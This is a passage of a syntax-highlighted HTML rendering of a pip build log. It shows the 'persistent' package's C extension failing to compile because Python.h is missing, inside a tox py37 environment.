    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;attrhooks&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cucumbers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_docs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_list&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_mapping&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_persistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_picklecache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_ring&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_timestamp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test_wref&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;copying&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;utils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;
    &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="n"&gt;build_ext&lt;/span&gt;
    &lt;span class="n"&gt;generating&lt;/span&gt; &lt;span class="n"&gt;cffi&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;build/temp.linux-x86_64-3.7/persistent._ring.c&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;
    &lt;span class="n"&gt;building&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;persistent.cPersistence&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;
    &lt;span class="n"&gt;creating&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;
    &lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gnu&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;gcc&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pthread&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wno&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wsign&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;DNDEBUG&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fwrapv&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wall&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fstack&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;protector&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;strong&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wformat&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Werror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;flto&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fuse&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;linker&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plugin&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ffat&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;lto&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fstack&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;protector&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;strong&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wformat&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Werror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;format&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Wdate&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;D_FORTIFY_SOURCE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;fPIC&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;I&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;include&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;temp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x86_64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;
    &lt;span class="n"&gt;In&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="n"&gt;included&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cPersistence&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;persistent&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;_compat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fatal&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Python&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;such&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;directory&lt;/span&gt;
     &lt;span class="c1"&gt;#include &amp;quot;Python.h&amp;quot;&lt;/span&gt;
              &lt;span class="o"&gt;^~~~~~~~~~&lt;/span&gt;
    &lt;span class="n"&gt;compilation&lt;/span&gt; &lt;span class="n"&gt;terminated&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
    &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;x86_64-linux-gnu-gcc&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="o"&gt;----------------------------------------&lt;/span&gt;
&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Command&lt;/span&gt; &lt;span class="n"&gt;errored&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;exit&lt;/span&gt; &lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ciao&lt;/span&gt;&lt;span class="o"&gt;/.&lt;/span&gt;&lt;span class="n"&gt;tox&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;py37&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;import sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-xgyu9lk6/persistent/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;; __file__=&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/tmp/pip-install-xgyu9lk6/persistent/setup.py&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;f=getattr(tokenize, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;open&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, open)(__file__);code=f.read().replace(&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;);f.close();exec(compile(code, __file__, &amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;exec&amp;#39;&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;))&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pip&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;u0t4uxvn&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;single&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;externally&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;managed&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nb"&gt;compile&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span 